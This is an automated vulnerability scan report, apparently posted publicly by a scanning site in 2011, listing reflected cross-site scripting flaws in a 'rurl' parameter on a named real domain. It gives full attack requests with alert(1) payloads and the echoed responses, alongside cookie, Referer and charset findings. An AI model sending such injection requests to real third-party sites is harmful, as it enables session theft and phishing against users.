XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, aaa.com

Report generated by XSS.CX at Tue Jul 19 14:27:30 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

1.1. http://www.aaa.com/ [rurl parameter]

1.2. http://www.aaa.com/ [rurl parameter]

1.3. http://www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route [rurl parameter]

1.4. http://www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route [rurl parameter]

2. Referer-dependent response

3. Cookie scoped to parent domain

4. Cookie without HttpOnly flag set

5. HTML does not specify charset



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.aaa.com/ [rurl parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.aaa.com
Path:   /

Issue detail

The value of the rurl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8ccb"><script>alert(1)</script>7b05fa45749 was submitted in the rurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /?rclub=36&rurl=http%3a%2f%2fwww.nne.aaa.com%2fen-nne%2fPages%2fHome.aspxe8ccb"><script>alert(1)</script>7b05fa45749 HTTP/1.1
Host: www.aaa.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route
Cookie: zipcode=05672|AAA|36

Response (redirected)

HTTP/1.1 200 Apple
Date: Tue, 19 Jul 2011 19:05:00 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA PRE"
UniqueName: CHIWWW3
X-Powered-By: ASP.NET
content-type: text/html
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:05:00 GMT; path=/; domain=aaa.com
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:05:00 GMT; path=/; domain=aaa.com
content-length: 1409

<HTML>
<HEAD>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="REFRESH" CONTENT="5;URL=http://www.nne.aaa.com/en-nne/Pages/Home.aspxe8ccb"><script>alert(1)</script>7b05fa45749?zip=05672&referer=www.aaa.com">
...[SNIP]...

1.2. http://www.aaa.com/ [rurl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.aaa.com
Path:   /

Issue detail

The value of the rurl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8b429'%3balert(1)//05cb045aa3 was submitted in the rurl parameter. This input was echoed as 8b429';alert(1)//05cb045aa3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?rclub=36&rurl=http%3a%2f%2fwww.nne.aaa.com%2fen-nne%2fPages%2fHome.aspx8b429'%3balert(1)//05cb045aa3 HTTP/1.1
Host: www.aaa.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route
Cookie: zipcode=05672|AAA|36

Response (redirected)

HTTP/1.1 200 Apple
Date: Tue, 19 Jul 2011 19:05:08 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA PRE"
UniqueName: CHIWWW3
X-Powered-By: ASP.NET
content-type: text/html
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:05:08 GMT; path=/; domain=aaa.com
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:05:08 GMT; path=/; domain=aaa.com
content-length: 1361

<HTML>
<HEAD>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="REFRESH" CONTENT="5;URL=http://www.nne.aaa.com/en-nne/Pages/Home.aspx8b429';alert(1)//05cb045aa3?zip=05672&
...[SNIP]...
<!--
       window.location.replace('http://www.nne.aaa.com/en-nne/Pages/Home.aspx8b429';alert(1)//05cb045aa3?zip=05672&referer=www.aaa.com');
   // -->
...[SNIP]...

1.3. http://www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route [rurl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.aaa.com
Path:   /scripts/WebObjects.dll/ZipCode.woa/wa/route

Issue detail

The value of the rurl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 881bf'%3balert(1)//43f8c51a252 was submitted in the rurl parameter. This input was echoed as 881bf';alert(1)//43f8c51a252 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /scripts/WebObjects.dll/ZipCode.woa/wa/route?rclub=36&rurl=http%3a%2f%2fwww.nne.aaa.com%2fen-nne%2fPages%2fHome.aspx881bf'%3balert(1)//43f8c51a252 HTTP/1.1
Host: www.aaa.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route
Cookie: zipcode=05672|AAA|36

Response

HTTP/1.1 200 Apple
Date: Tue, 19 Jul 2011 19:05:05 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA PRE"
UniqueName: CHIWWW1
X-Powered-By: ASP.NET
content-type: text/html
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:05:05 GMT; path=/; domain=aaa.com
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:05:05 GMT; path=/; domain=aaa.com
content-length: 1364

<HTML>
<HEAD>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="REFRESH" CONTENT="5;URL=http://www.nne.aaa.com/en-nne/Pages/Home.aspx881bf';alert(1)//43f8c51a252?zip=05672
...[SNIP]...
<!--
       window.location.replace('http://www.nne.aaa.com/en-nne/Pages/Home.aspx881bf';alert(1)//43f8c51a252?zip=05672&referer=www.aaa.com');
   // -->
...[SNIP]...

1.4. http://www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route [rurl parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.aaa.com
Path:   /scripts/WebObjects.dll/ZipCode.woa/wa/route

Issue detail

The value of the rurl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d9d1"><script>alert(1)</script>99de8810c92 was submitted in the rurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /scripts/WebObjects.dll/ZipCode.woa/wa/route?rclub=36&rurl=http%3a%2f%2fwww.nne.aaa.com%2fen-nne%2fPages%2fHome.aspx4d9d1"><script>alert(1)</script>99de8810c92 HTTP/1.1
Host: www.aaa.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route
Cookie: zipcode=05672|AAA|36

Response

HTTP/1.1 200 Apple
Date: Tue, 19 Jul 2011 19:05:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA PRE"
UniqueName: CHIWWW1
X-Powered-By: ASP.NET
content-type: text/html
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:05:02 GMT; path=/; domain=aaa.com
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:05:02 GMT; path=/; domain=aaa.com
content-length: 1409

<HTML>
<HEAD>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="REFRESH" CONTENT="5;URL=http://www.nne.aaa.com/en-nne/Pages/Home.aspx4d9d1"><script>alert(1)</script>99de8810c92?zip=05672&referer=www.aaa.com">
...[SNIP]...

2. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.aaa.com
Path:   /scripts/WebObjects.dll/ZipCode.woa/wa/route

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /scripts/WebObjects.dll/ZipCode.woa/wa/route?rclub=36&rurl=http%3a%2f%2fwww.nne.aaa.com%2fen-nne%2fPages%2fHome.aspx HTTP/1.1
Host: www.aaa.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route
Cookie: zipcode=05672|AAA|36

Response 1

HTTP/1.1 200 Apple
Date: Tue, 19 Jul 2011 19:04:22 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA PRE"
UniqueName: CHIWWW1
X-Powered-By: ASP.NET
content-type: text/html
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:04:22 GMT; path=/; domain=aaa.com
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:04:22 GMT; path=/; domain=aaa.com
content-length: 1280

<HTML>
<HEAD>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="REFRESH" CONTENT="5;URL=http://www.nne.aaa.com/en-nne/Pages/Home.aspx?zip=05672&referer=www.aaa.com">


<TITLE>www.aaa.com redirect</TITLE>
</HEAD>
<BODY>
<BR>
<BR>
<A HREF="http://www.nne.aaa.com/en-nne/Pages/Home.aspx?zip=05672&referer=www.aaa.com">If this page does not refresh click here.</A>
   
   
       <!-- ARSearchLogger START -->

<!-- ARSearchJavaScript START -->

<!-- ARSearchJavaScript END --><!-- ARSearchLogger END -->
   <!-- DCSLogging START -->

   <!-- DCS Logging is ON -->
<SCRIPT LANGUAGE="JavaScript1.1" SRC="/configuration/dcs_tag.js">    
   </SCRIPT>
   <SCRIPT LANGUAGE="JavaScript1.1">
       <!--
               setCategory("ZipCodeRedirect");
   setSubcategory("COOKIE_RD");
   setArea("Home");
   setByClub(36);
   logPage();
       // -->
   </SCRIPT>

<!-- DCSLogging END -->

   <!-- SEMAction START -->


   <!-- SEMActionJavaScript START -->
<script type="text/javascript" src="/configuration/SEM/AAA_ActionTags.js"></script>

<!-- SEMActionJavaScript END -->


<!-- ARSearchLogger END -->

   <SCRIPT>
   <!--
       window.location.replace('http://www.nne.aaa.com/en-nne/Pages/Home.aspx?zip=05672&referer=www.aaa.com');
   // -->
   </SCRIPT>

</BODY>
</HTML>

Request 2

GET /scripts/WebObjects.dll/ZipCode.woa/wa/route?rclub=36&rurl=http%3a%2f%2fwww.nne.aaa.com%2fen-nne%2fPages%2fHome.aspx HTTP/1.1
Host: www.aaa.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: zipcode=05672|AAA|36

Response 2

HTTP/1.1 200 Apple
Date: Tue, 19 Jul 2011 19:04:51 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA PRE"
UniqueName: CHIWWW3
X-Powered-By: ASP.NET
content-type: text/html
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:04:52 GMT; path=/; domain=aaa.com
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:04:52 GMT; path=/; domain=aaa.com
content-length: 1220

<HTML>
<HEAD>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="REFRESH" CONTENT="5;URL=http://www.nne.aaa.com/en-nne/Pages/Home.aspx?zip=05672">


<TITLE>www.aaa.com redirect</TITLE>
</HEAD>
<BODY>
<BR>
<BR>
<A HREF="http://www.nne.aaa.com/en-nne/Pages/Home.aspx?zip=05672">If this page does not refresh click here.</A>
   
   
       <!-- ARSearchLogger START -->

<!-- ARSearchJavaScript START -->

<!-- ARSearchJavaScript END --><!-- ARSearchLogger END -->
   <!-- DCSLogging START -->

   <!-- DCS Logging is ON -->
<SCRIPT LANGUAGE="JavaScript1.1" SRC="/configuration/dcs_tag.js">    
   </SCRIPT>
   <SCRIPT LANGUAGE="JavaScript1.1">
       <!--
               setCategory("ZipCodeRedirect");
   setSubcategory("COOKIE_RD");
   setArea("Home");
   setByClub(36);
   logPage();
       // -->
   </SCRIPT>

<!-- DCSLogging END -->

   <!-- SEMAction START -->


   <!-- SEMActionJavaScript START -->
<script type="text/javascript" src="/configuration/SEM/AAA_ActionTags.js"></script>

<!-- SEMActionJavaScript END -->


<!-- ARSearchLogger END -->

   <SCRIPT>
   <!--
       window.location.replace('http://www.nne.aaa.com/en-nne/Pages/Home.aspx?zip=05672');
   // -->
   </SCRIPT>

</BODY>
</HTML>

3. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.aaa.com
Path:   /scripts/WebObjects.dll/ZipCode.woa/wa/route

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /scripts/WebObjects.dll/ZipCode.woa/wa/route HTTP/1.1
Host: www.aaa.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 Apple
Date: Tue, 19 Jul 2011 19:04:08 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA PRE"
UniqueName: CHIWWW4
X-Powered-By: ASP.NET
content-type: text/html
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:04:09 GMT; path=/; domain=aaa.com
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:04:09 GMT; path=/; domain=aaa.com
content-length: 1151

<HTML>
<HEAD>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="REFRESH" CONTENT="5;URL=http://www.nne.aaa.com?zip=05672">


<TITLE>www.aaa.com redirect</TITLE>
</HE
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.aaa.com
Path:   /scripts/WebObjects.dll/ZipCode.woa/wa/route

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /scripts/WebObjects.dll/ZipCode.woa/wa/route HTTP/1.1
Host: www.aaa.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 Apple
Date: Tue, 19 Jul 2011 19:04:08 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA PRE"
UniqueName: CHIWWW4
X-Powered-By: ASP.NET
content-type: text/html
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:04:09 GMT; path=/; domain=aaa.com
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:04:09 GMT; path=/; domain=aaa.com
content-length: 1151

<HTML>
<HEAD>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="REFRESH" CONTENT="5;URL=http://www.nne.aaa.com?zip=05672">


<TITLE>www.aaa.com redirect</TITLE>
</HE
...[SNIP]...

5. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.aaa.com
Path:   /scripts/WebObjects.dll/ZipCode.woa/wa/route

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /scripts/WebObjects.dll/ZipCode.woa/wa/route HTTP/1.1
Host: www.aaa.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 Apple
Date: Tue, 19 Jul 2011 19:04:08 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA PRE"
UniqueName: CHIWWW4
X-Powered-By: ASP.NET
content-type: text/html
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:04:09 GMT; path=/; domain=aaa.com
set-cookie: zipcode=05672|AAA|36; version="1"; expires=Wed, 18-Jul-2012 19:04:09 GMT; path=/; domain=aaa.com
content-length: 1151

<HTML>
<HEAD>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="REFRESH" CONTENT="5;URL=http://www.nne.aaa.com?zip=05672">


<TITLE>www.aaa.com redirect</TITLE>
</HE
...[SNIP]...

Report generated by XSS.CX at Tue Jul 19 14:27:30 CDT 2011.